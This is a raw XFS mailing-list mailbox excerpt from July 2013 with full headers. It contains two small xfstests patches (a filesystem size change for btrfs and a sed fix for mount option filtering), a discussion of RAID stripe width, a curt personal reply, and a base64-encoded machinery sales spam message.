larger Message-ID: <1372792638-23957-1-git-send-email-jbacik@fusionio.com> X-Mailer: git-send-email 1.7.7.6 MIME-Version: 1.0 Content-Type: text/plain X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim2.fusionio.com[66.114.96.54] X-Barracuda-Start-Time: 1372792641 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135617 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature This is similar to a previous fix I sent. 1 gig makes us do mixed file block groups for btrfs, so these enospc tests will usually fail because we don't have space for metadata, which is the case for this test. So jack the size up to 1.5gig so that btrfs can do its normal thing and pass the test. Thanks, Signed-off-by: Josef Bacik --- tests/generic/256 | 2 +- 1 files changed, 1 insertions(+), 1 deletions(-) diff --git a/tests/generic/256 b/tests/generic/256 index 4a53da8..cfe7237 100755 --- a/tests/generic/256 +++ b/tests/generic/256 @@ -165,7 +165,7 @@ _test_full_fs_punch() # Make a small file system to fill umount $SCRATCH_DEV &> /dev/null -_scratch_mkfs_sized $(( 1024 * 1024 * 1024 )) &> /dev/null +_scratch_mkfs_sized $(( 1536 * 1024 * 1024 )) &> /dev/null _scratch_mount # Test must be able to write files with non-root permissions chmod 777 $SCRATCH_MNT -- 1.7.7.6 From koen.de.wit@oracle.com Tue Jul 2 16:47:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 407537F54 for ; Tue, 2 Jul 2013 16:47:16 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id CF4C0AC007 for ; Tue, 2 Jul 2013 14:47:12 -0700 (PDT) X-ASG-Debug-ID: 1372801631-04cbb0468eab0af0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id H0OdYSziN5tXUQwF (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 02 Jul 2013 14:47:11 -0700 (PDT) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r62Len0W032623 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 2 Jul 2013 21:40:50 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r62Ll8mQ018107 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 2 Jul 2013 21:47:09 GMT Received: from abhmt108.oracle.com (abhmt108.oracle.com [141.146.116.60]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r62Ll8js005704 for ; Tue, 2 Jul 2013 21:47:08 GMT Received: from koen-debian.uk.oracle.com (/10.175.46.35) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 02 Jul 2013 14:47:08 -0700 From: Koen De Wit To: xfs@oss.sgi.com Cc: Koen De Wit Subject: [PATCH] xfstests: fix _mount_ops_filter() to support $TEST_DIR containing -o Date: Tue, 2 Jul 2013 23:44:57 +0200 X-ASG-Orig-Subj: [PATCH] xfstests: fix _mount_ops_filter() to support $TEST_DIR containing -o Message-Id: <1372801497-3941-1-git-send-email-koen.de.wit@oracle.com> X-Mailer: git-send-email 1.7.2.5 X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1372801631 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135627 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines If multiple mount options are given with multiple -o parameters, _mount_ops_filter concatenates them by replacing all -o's with a comma (except for the first -o). If $TEST_DIR contains "-o" (e.g. /mnt/test-os/) you get errors like this: # ./check generic/002 mount: mount point /mnt/test,s/ does not exist common/rc: retrying test device mount with external set mount: mount point /mnt/test,s/ does not exist common/rc: could not mount /dev/sdc3 on /mnt/test-os/ Fix it by only replacing -o's that are preceded by at least one space. Signed-off-by: Koen De Wit --- common/rc | 2 +- 1 files changed, 1 insertions(+), 1 deletions(-) diff --git a/common/rc b/common/rc index fe6bbfc..2a3c040 100644 --- a/common/rc +++ b/common/rc @@ -260,7 +260,7 @@ _mount_ops_filter() # the sed script replaces all -o's (except the first) with a comma # not required for linux, but won't hurt - echo $params | sed -e 's/[[:space:]]*-o[[:space:]]*/UnIqUe/1; s/[[:space:]]*-o[[:space:]]*/,/g; s/UnIqUe/ -o /1' \ + echo $params | sed -e 's/[[:space:]]\+-o[[:space:]]*/UnIqUe/1; s/[[:space:]]\+-o[[:space:]]*/,/g; s/UnIqUe/ -o /1' \ | sed -e 's/dmapi/dmi/' \ | $PERL_PROG -ne "s#mtpt=[^,|^\n|^\s]*#mtpt=$FS_ESCAPED\1\2#; print;" -- 1.7.2.5 From pg_mh@mh.to.sabi.co.uk Tue Jul 2 16:48:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@OSS.SGI.com Delivered-To: xfs@OSS.SGI.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3D7407F54 for ; Tue, 2 Jul 2013 16:48:39 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B015CAC007 for ; Tue, 2 Jul 2013 14:48:35 -0700 (PDT) X-ASG-Debug-ID: 1372801710-04cb6c2a47805b30001-ps1ADW Received: from april.london.02.net (april.london.02.net [87.194.255.143]) by cuda.sgi.com with ESMTP id 2DGB6ymX5dZDK6IY for ; Tue, 02 Jul 2013 14:48:30 -0700 (PDT) X-Barracuda-Envelope-From: pg_mh@mh.to.sabi.co.UK X-Barracuda-Apparent-Source-IP: 87.194.255.143 Received: from ty.sabi.co.UK (78.86.80.54) by april.london.02.net (8.5.140) id 50D0FF990E9A60D0 for xfs@OSS.SGI.com; Tue, 2 Jul 2013 22:48:30 +0100 Received: from from [127.0.0.1] (helo=tree.ty.sabi.co.uk) by ty.sabi.co.UK with esmtp(Exim 4.76 #1) id 1Uu8Qy-0003ON-RO for ; Tue, 02 Jul 2013 22:48:24 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <20947.19112.717569.762574@tree.ty.sabi.co.uk> Date: Tue, 2 Jul 2013 22:48:24 +0100 X-Face: SMJE]JPYVBO-9UR%/8d'mG.F!@.,l@c[f'[%S8'BZIcbQc3/">GrXDwb#;fTRGNmHr^JFb SAptvwWc,0+z+~p~"Gdr4H$(|N(yF(wwCM2bW0~U?HPEE^fkPGx^u[*[yV.gyB!hDOli}EF[\cW*S H&spRGFL}{`bj1TaD^l/"[ msn( /TH#THs{Hpj>)]f> Subject: Re: swidth in RAID In-Reply-To: X-ASG-Orig-Subj: Re: swidth in RAID References: <557F888F-34EA-4669-B861-C0B684DAD13D@gmail.com> <51D0A62E.2020309@hardwarefreak.com> <20130701013851.GC27780@dastard> <0DD94D98-18AA-441B-8F41-AD3AC1BCEC60@gmail.com> <20130701020939.GF27780@dastard> <51D0EDC8.2090706@hardwarefreak.com> X-Mailer: VM 8.1.0 under 23.3.1 (x86_64-pc-linux-gnu) From: pg_xf2@xf2.for.sabi.co.UK (Peter Grandi) X-Disclaimer: This message contains only personal opinions X-Barracuda-Connect: april.london.02.net[87.194.255.143] X-Barracuda-Start-Time: 1372801710 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135629 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- [ ... ] >> RAID5 sw = (#disks - 1) >> RAID6 sw = (#disks - 2) >> RAID10 sw = (#disks / 2) [1] What was probably all that needed saying for once is that 'swidth'/'sw' matter nearly only for avoiding read-modify-write, and there is no reason to confuse the already confused by mentioning here RAID10 (or RAID0) where read-modify-write won't happen. The somewhat secondary reason for which stripe width, or rather something related to it, may matter even for non-parity RAID sets is for filesystems that try to layout metadata tables so that the metadata does not end up all on a subset of the disks in the RAID set, which might occur if the metadata table alignment is congruent with the "chunk" alignment. That for example is likely to happen with 'ext[234]' filetrees, and accordingly 'man mke2fs' rightly mentions for 'stripe-width' (equivalent to 'swidth'/'sw') that is matters only for parity RAID sets and because of read-modify-write: "This allows the block allocator to prevent read-modify-write of the parity in a RAID stripe if possible when the data is written." and it is about 'stride' (the equivalent of 'su'/'sunit' in XFS) that it says: "This mostly affects placement of filesystem metadata like bitmaps at mke2fs time to avoid placing them on a single disk, which can hurt performance. It may also be used by the block allocator." Uhm, I thougt that also affected placement of inode tables, but I may be misremembering. Whether metadata alignment issues are likley to happen with XFS, where metadata allocation is more dynamic than for 'ext[234]', and whether it currently contains code to deal with it, I don't remember. Also, even assuming that 'sw' matters for RADI10 for reasons other than parity updates that it does not do, the formula above is simplistic: >> [ ... ] >> [1] If using the Linux md/RAID10 driver with one of the >> non-standard layouts such as n2 or f2, the formula may >> change. [ ... ] Here the default is 'n' and the alternative layouts are 'o' and 'f', also with Linux MD there can be an odd number of members in a RAID10 set. Not that matters as RAID10 (and some others) of any shape does not have parity to update on write, so the specific physical layouts of blocks is not relevant for RMW. Anyhow I wrote a brief overall description of RMW here some time ago: http://www.sabi.co.uk/blog/12-thr.html#120414 as RMW is an issue that matters in several cases other than parity RAID. Also because I think this is the third or fourth time that it needed repeating in some mailing list that stripe width matters almost only for RAID when there is parity, and thus almost entirely not for RAID10. From stan@hardwarefreak.com Tue Jul 2 19:16:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B32B97F6D for ; Tue, 2 Jul 2013 19:16:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 403A2AC007 for ; Tue, 2 Jul 2013 17:16:01 -0700 (PDT) X-ASG-Debug-ID: 1372810557-04cb6c2a4280a170001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id s5nSUOlzCTrsiUAJ for ; Tue, 02 Jul 2013 17:15:57 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 180A86C15B for ; Tue, 2 Jul 2013 19:15:57 -0500 (CDT) Message-ID: <51D36D3D.9040709@hardwarefreak.com> Date: Tue, 02 Jul 2013 19:15:57 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: swidth in RAID References: <557F888F-34EA-4669-B861-C0B684DAD13D@gmail.com> <51D0A62E.2020309@hardwarefreak.com> <20130701013851.GC27780@dastard> <0DD94D98-18AA-441B-8F41-AD3AC1BCEC60@gmail.com> <20130701020939.GF27780@dastard> <51D0EDC8.2090706@hardwarefreak.com> <20947.19112.717569.762574@tree.ty.sabi.co.uk> X-ASG-Orig-Subj: Re: swidth in RAID In-Reply-To: <20947.19112.717569.762574@tree.ty.sabi.co.uk> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1372810557 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 7/2/2013 4:48 PM, Peter Grandi wrote: > What was probably all that needed saying for once is that What was needed was a simple explanation demonstrating the answer the OP was looking for Peter. I provided that. In your 10,000th attempt to generate self gratification by demonstrating your superior knowledge (actually lack thereof) on this list, all you could have possibly achieved here is confusing the OP even further. I find it sad that you've decided to prey on the young, the inexperienced, after realizing the educated began ignoring you long ago. -- Stan From Yves@pipe-treading.info Tue Jul 2 21:27:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,MIME_BASE64_TEXT autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B07637F72 for ; Tue, 2 Jul 2013 21:27:02 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 643A5304077 for ; Tue, 2 Jul 2013 19:26:59 -0700 (PDT) X-ASG-Debug-ID: 1372818417-04bdf02b8e8aa640001-NocioJ Received: from mail.otct.info (host.colocrossing.com [198.23.245.235]) by cuda.sgi.com with ESMTP id iigYyqtyTkEIzhZk for ; Tue, 02 Jul 2013 19:26:57 -0700 (PDT) X-Barracuda-Envelope-From: Yves@pipe-treading.info X-Barracuda-Apparent-Source-IP: 198.23.245.235 X-AuthUser: Yves@pipe-treading.info Received: from pipe-treading.info ([114.46.205.202]:57011) by otct.info with [XMail 1.27 ESMTP Server] id for from ; Wed, 3 Jul 2013 06:26:54 +0400 Date: Mon, 1 Jul 2013 09:21:48 +0800 From: "JY Precision Machinery Taiwan" To: "xfs" Subject: JY Machinery Taiwan---Your total solution manufacture for the VMC, HMC, Milling machine, Rigid, Durability, Accuracy and Competition Price; Cooperation Wanted X-mailer: Foxmail 6, 14, 103, 24 [cn] X-ASG-Orig-Subj: JY Machinery Taiwan---Your total solution manufacture for the VMC, HMC, Milling machine, Rigid, Durability, Accuracy and Competition Price; Cooperation Wanted MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="=====wfi_YMeL97bRZ1q_WJXTcjOiXGR3vyqe2V_=====" Reply-To: machine@imstargeting.com X-Barracuda-Connect: host.colocrossing.com[198.23.245.235] X-Barracuda-Start-Time: 1372818417 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 1.07 X-Barracuda-Spam-Status: No, SCORE=1.07 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_BASE64_TEXT, MISSING_MID, SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135647 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: 0.00 HTML_MESSAGE BODY: HTML included in message 0.52 MIME_BASE64_TEXT RAW: Message text disguised using base64 encoding Message-Id: <20130703022658.EFF19A42178@cuda.sgi.com> This is a multi-part message in MIME format --=====wfi_YMeL97bRZ1q_WJXTcjOiXGR3vyqe2V_===== Content-Type: text/plain Content-Transfer-Encoding: base64 IA0KSGkgVGhlcmUNCiANCk5pY2UgdG8gbWVldCB5b3UNCldlIGZvdW5kIHlvdSBvbiB0aGUgSW50 ZXJuZXQNCiANCkpZIE1hY2hpbmVyeSBUYWl3YW4gaXMgdGhlIG1vc3QgcHJvZmVzc2lvbmFsIG1h bnVmYWN0dXJlcyBmb3IgdGhlIFZNQywgSE1DIGFuZCBNaWxsaW5nIG1hY2hpbmU7IHdlIGhhdmUg YmVlbiBpbiB0aGlzIGZpZWxkIGZvciBtb3JlIHRoYW4gNCBkZWNhZGVzDQpOb3Qgb25seSB3ZSBo YXZlIHRoZSBzb3BoaXN0aWNhdGVkIG1hbnVmYWN0dXJpbmcgbWVtYmVycywgYnV0IGFsc28gd2Ug aGF2ZSBzdHJvbmcgUkQgdGVhbSBhbmQgc2VydmljZSB0ZWFtIGFzIHdlbGwuDQpQbGVhc2UgY2hl Y2sgb3VyIHByb2R1Y3RzIHBvcnRmb2xpb3MgZm9yIHlvdXIgcmVmZXJlbmNlDQoxLiAgIENOQyBW ZXJ0aWNhbCBNYWNoaW5pbmcgQ2VudGVyIChCb3ggV2F5IFNlcmllczogWCB0cmF2ZWwgOiA2NjAt MjUwMG1tKQ0KMi4gICBDTkMgVmVydGljYWwgTWFjaGluaW5nIENlbnRlciAoTGluZWFyIFdheSBT ZXJpZXM6IFggdHJhdmVsOiA1MTAtMTQwMG1tLCkNCjMuICAgQ05DIEhvcml6b250YWwgTWFjaGlu aW5nIENlbnRlciAoQVBDIFNlcmllcy9TaW5nbGUgcGFsbGV0IFNlcmllcykNCjQuICAgQmVkIFR5 cGUgTWlsbGluZyBNYWNoaW5lIChWSC9WVC9WIFNlcmllcy4pDQo1LiAgIEJlZCBUeXBlIFBDLUJh c2VkIE1pbGxpbmcgTWFjaGluZSAoVkgvVlQvViBTZXJpZXMuKQ0KNi4gICBLbmVlIFR5cGUgTWls bGluZyBNYWNoaW5lICgyVC8ySFQvMlZILzJWSFQvS1QtMjAwUykgDQogDQpPRU0gc2VydmljZSBp cyBoaWdobHkgYXBwcmVjaWF0ZWQNCiANCjEuICAgICBWZXJ0aWNhbCBNYWNoaW5pbmcgQ2VudGVy LS0tWCBheGlzIHVwIHRvIDI1MDAgbW0NCkE6IExpbmVhciBXYXktWCB0cmF2ZWwgZnJvbSA1MTB+ MTQwMCBtbQ0KRmVhdHVyZToNCiBJOiBGaW5pdGUgZWxlbWVudCBhbmFseXNpcw0KSUk6IFRoZSBl eHRyYS13aWRlIGFuZCBleHRyZW1lbHkgc3RhYmxlIGJhc2UgaGFzIDQgTGluZWFyIHdheXMgcHJv dmlkaW5nIHNvbGlkIHN1cHBvcnQgZm9yIHRoZSBlbnRpcmUgbWFjaGluZS4gDQpJSUk6IFgsIHkg YXhpcyB3aXRoIDQgYW5kIDYgYmxvY2tzIG9uIExpbmVhciBHdWlkZSB3YXkgKDg1MC8xMDAwKS4g DQpJVjogWCwgWSBheGlzIHdpdGggNiBhbmQgOCBibG9ja3Mgb24gTGluZWFyIEd1aWRlIHdheSAo MTIwMC8xNDAwKS4NClY6IEhpZ2ggc3BlZWQgYW5kIHByZWNpc2lvbiBiYWxsIHNjcmV3Lg0KVkk6 IEhpZ2ggcmlnaWRpdHkgc3BpbmRsZS4NClZJSTogU3RhYmlsaXR5IEFUQyBzeXN0ZW0uIChBdXRv IHRvb2wgY2hhbmdlKQ0KICAgDQpNT0RFTFM6DQogTW9kZWwgMTogWCBheGlzIHRyYXZlbDogNTEw fjcxMCBtbQ0KICAgIE1vZGVsIElJOiBYIGF4aXMgdHJhdmVsOiA3NjAgbW0gd2l0aCBBUEMNCk1v ZGVsIElJSTogWCBheGlzIHRyYXZlbDogODUwIG1tDQpNb2RlbCBJVjogWCBheGlzIHRyYXZlbDog MTQwMCBtbQ0KRkVBVFVSRVMgZm9yIEFQQyBTZXJpZXMgKEF1dG9tYXRpYyBQYWxsZXQgQ2hhbmdl KToNCkk6IFRoZSBtYWNoaW5lIGlzIGVxdWlwcGVkIHdpdGggYW4gYXV0b21hdGljIHBhbGxldCBj aGFuZ2UgY29tYmluZWQNCndpdGggb2lsIHN1cHBseSB0byBqaWcgYW5kIGZpeHR1cmUgZm9yIHVw Z3JhZGUgbWFjaGluZSBmdW5jdGlvbi4NCklJOiBUaGUgYXV0b21hdGljIHBhbGxldCBjaGFuZ2Ug YWxsb3dzIGZvciBmbGV4aWJsZSBhdXRvbWF0aW9uIGFuZCBpbnRlcmZhY2UsIHVwZ3JhZGluZyBw cm9kdWN0aXZpdHksIHJlZHVjaW5nIHByb2R1Y3Rpb24gY29zdHMuDQpJSUk6IEhpZ2ggc3BlZWQg YW5kIHByZWNpc2lvbiBiYWxsIHNjcmV3Lg0KSVY6IEhpZ2ggcmlnaWRpdHkgc3BpbmRsZS4NClY6 IFN0YWJpbGl0eSBBVEMgc3lzdGVtLiAoQXV0byB0b29sIGNoYW5nZSkNClZJOiBUaGUgQlQ0MCBT cGluZGxlIGNvdWxkIHByb3ZpZGUgMTUwMDAgcnBtIChvcHQuKSBoaWdoIHNwZWVkIHRoYXQgbWVl dHMgaGlnaCBzcGVlZCBtYWNoaW5pbmcgcmVxdWlyZW1lbnQuDQogDQogDQpCOiBCT1ggV0FZLS0t WCB0cmF2ZWwgZnJvbSA2NjB+MjUwMCBtbQ0KTW9kZWwgMTogMiBCb3ggV2F5OiBFY29ub21pYyAN CkZlYXR1cmVzOg0KSTogRmluaXRlIGVsZW1lbnQgYW5hbHlzaXMNCklJOiBUaGUgZXh0cmEtd2lk ZSBhbmQgZXh0cmVtZWx5IHN0YWJsZSBiYXNlIGhhcyAyIEJveCB3YXlzIHByb3ZpZGluZyBzb2xp ZCBzdXBwb3J0IGZvciB0aGUgZW50aXJlIG1hY2hpbmUuIA0KSUlJOiBIaWdoIHNwZWVkIGFuZCBw cmVjaXNpb24gYmFsbCBzY3Jldy4NCklWOiBIaWdoIHJpZ2lkaXR5IHNwaW5kbGUuDQpWOiBSdWdn ZWQgYmFzZSBhbmQgc2FkZGxlLg0KVklJOiBTdGFiaWxpdHkgQVRDIHN5c3RlbS4gKEF1dG8gdG9v bCBjaGFuZ2UpDQpNT0RFTCAyOiA0IEJveCB3YXkgSGVhdnkgRHV0eQ0KRkVBVFVSRVMtLS0NCkk6 IEZpbml0ZSBlbGVtZW50IGFuYWx5c2lzDQpJaTogVGhlIGV4dHJhLXdpZGUgYW5kIGV4dHJlbWVs eSBzdGFibGUgYmFzZSBoYXMgNCBCb3ggd2F5cyBwcm92aWRpbmcgc29saWQgc3VwcG9ydCBmb3Ig dGhlIGVudGlyZSBtYWNoaW5lLiANCklJSTogWCwgeSBheGlzIHdpdGggNCBhbmQgNiBibG9ja3Mg b24gQm94IEd1aWRld2F5ICg4NTAvMTAwMCkuIA0KSVY6IFgsIFkgYXhpcyB3aXRoIDYgYW5kIDgg YmxvY2tzIG9uIEJveCBHdWlkZXdheSAoMTQwMC8xNjAwLzE4MDApLg0KVjogSGlnaCBzcGVlZCBh bmQgcHJlY2lzaW9uIGJhbGwgc2NyZXcuDQpWSTogSGlnaCByaWdpZGl0eSBzcGluZGxlLg0KVklJ OiBSdWdnZWQgYmFzZSBhbmQgc2FkZGxlLg0KVklJSTogQ2hpcCBmbHVzaGluZyBkZXZpY2VzIG9u IGJvdGggc2lkZXMgd2l0aCBzY3JldyBjaGlwIGNvbnZleW9yLg0KKDE0MDAvMTYwMC8xODAwKS4N CiANCk1vZGVsIDM6IDYgQm94IHdheSBFeHRyYSBIZWF2eSBEdXR5DQogRmVhdHVyZXM6DQpJOiBF eHRyYSBoZWF2eSB3aWRlIDYgQm94IHdheSBiYXNlOiA5IHRvbnMgd2VpZ2h0IGJhc2UgcHJvdmlk aW5nIHRoZQ0KYmVzdCBzdGFiaWxpdHkgZm9yIGhlYXZ5IHdvcmsgcGllY2UgYW5kIGVsaW1pbmF0 ZSBvdmVyaGFuZyBwcm9ibGVtcyB5ZWFyIGFmdGVyIHllYXIuDQpJSTogVGhlIGdlYXIgdHlwZSBz cGluZGxlIGlzIHRyYW5zbWl0dGVkIGJ5IGEgZ2VhciBib3ggd2l0aCBoaWdoL2xvdyBzcGVlZCBj aGFuZ2UsIHByb3ZpZGluZyBtb3JlIHRvcnF1ZSBvdXRwdXQgZm9yIGhlYXZ5IGR1dHkgbWFjaGlu aW5nLg0KSUlJOiBCaWcgdGFibGUgc3VyZmFjZSBtZWFzdXJlcyAyNDAwKEwpIHgxMDAwKFcpIG1t OiBtYXhpbXVtIGxvYWRpbmcNCjM1MDAga2dzIHRoYXQgcHJvdmlkaW5nIGxhcmdlIG1vbGQgbWFj aGluaW5nLg0KSVY6IEV4dHJhIGxhcmdlIFktYXhpcyAoMTEwMG1tKSBhbmQgdGhyb2F0IGRlcHRo KDEwNTBtbSkgcHJvdmlkZSBpbmNyZWFzZWQgd29ya2luZyBjYXBhY2l0eS4NClY6IFR3byBzY3Jl dyBjaGlwIHN5c3RlbXMgYXJlIGF0IHRoZSBib3RoIHNpZGVzIG9mIHRoZSBtYWNoaW5lLg0KQ29t YmluZSB3aXRoIHBvd2VyZnVsIGZsdXNoaW5nIGRldmljZSB0aGF0IGVuc3VyZSBtYWNoaW5lIGlz IGNsZWFuDQphdCBhbGwgdGltZS4NCiANCjIuICAgIEhvcml6b250YWwgTWFjaGluaW5nIENlbnRl ci0tLVggdHJhdmVsIC0tLTgwMH4xNTMwIG1tDQpNb2RlbDoNCkZFQVRVUkVTOg0KSTogTW92aW5n IGNvbHVtbiBzdHJ1Y3R1cmUgZGVzaWduIGNhbiBzb2x1dGlvbiB0aGUgc3BpbmRsZSBoZWFkIHZp YnJhdGlvbiBhbmQgcHJldmVudCByaWdpZGl0eSBtb3ZlbWVudC4NCklJOiBEaXJlY3Qgc3BpbmRs ZSBwcm92aWRlIGJldHRlciBwcmVjaXNpb24gYW5kIHJlZHVjZSBzcGluZGxlIHZpYnJhdGlvbi4N CklJSTogSGlnaCByaWdpZGl0eSByb2xsZXIgdHlwZSBMaW5lYXIgR3VpZGV3YXkgb24gMyBheGVz IHRoYXQgcHJvdmlkaW5nIGhpZ2ggcHJlY2lzaW9uIG1hbnVmYWN0dXJpbmcgYW5kIGxvbmdlciBz ZXJ2aWNlIGxpZmUuIA0KSVY6IENOQyBSb3RhcnkgdGFibGUgY2hhbmdlIHByb3ZpZGluZyB3b3Jr IHBpZWNlIGxvYWRpbmcgJiB1bmxvYWRpbmcgd2hlbiBwcm9jZXNzaW5nOyBzYXZpbmcgdGltZSBv biB0aGUgd29yayBwaWVjZSBsb2FkIHdhaXRpbmcuDQpWOiBDTkMgUm90YXJ5IHRhYmxlIHVzZXMg c2VydmUgbW90b3IgZHJpdmluZywgcG9zaXRpb24gYWNjdXJhY3kgZXhhY3RseS4gDQpWSTogU2Np c3NvcnMgdHlwZSBvZiB0ZWxlc2NvcGljIGNvdmVyIGNhbiByZWR1Y2UgbW90b3Igb3V0cHV0LCBu b2lzZSwgaW5jcmVhc2UgbW92ZW1lbnQgc21vb3RoIGFuZCBmb3JjZSBhdmVyYWdlLiANClZJSTog RXh0cmEgY2hpcCBmbHVzaGluZyBzeXN0ZW0gd2l0aCAzMCBzcG91dHMgcHJvdmlkaW5nIDMgZmx1 c2hpbmcgYXJlYXMgbmVlZC4gQ2hpcCBmbHVzaGluZyBzeXN0ZW0gaXMgZWZmZWN0aXZlIGluY3Jl YXNlIDMzJSB1cCBmbHVzaGluZy4NCiANCjMuICAgIE1pbGxpbmcgTWFjaGluZQ0KTW9kZWwgMTog VmVydGljYWwgYW5kIEhvcml6b250YWwgTWlsbGluZyBNYWNoaW5lDQpNb2RlbCAyOiBCZWQgVHlw ZSBQQy1CYXNlZCANCk1vZGVsIDM6IEtuZWUgVHlwZSBtaWxsaW5nIE1hY2hpbmUNCkZFQVRVUkVT 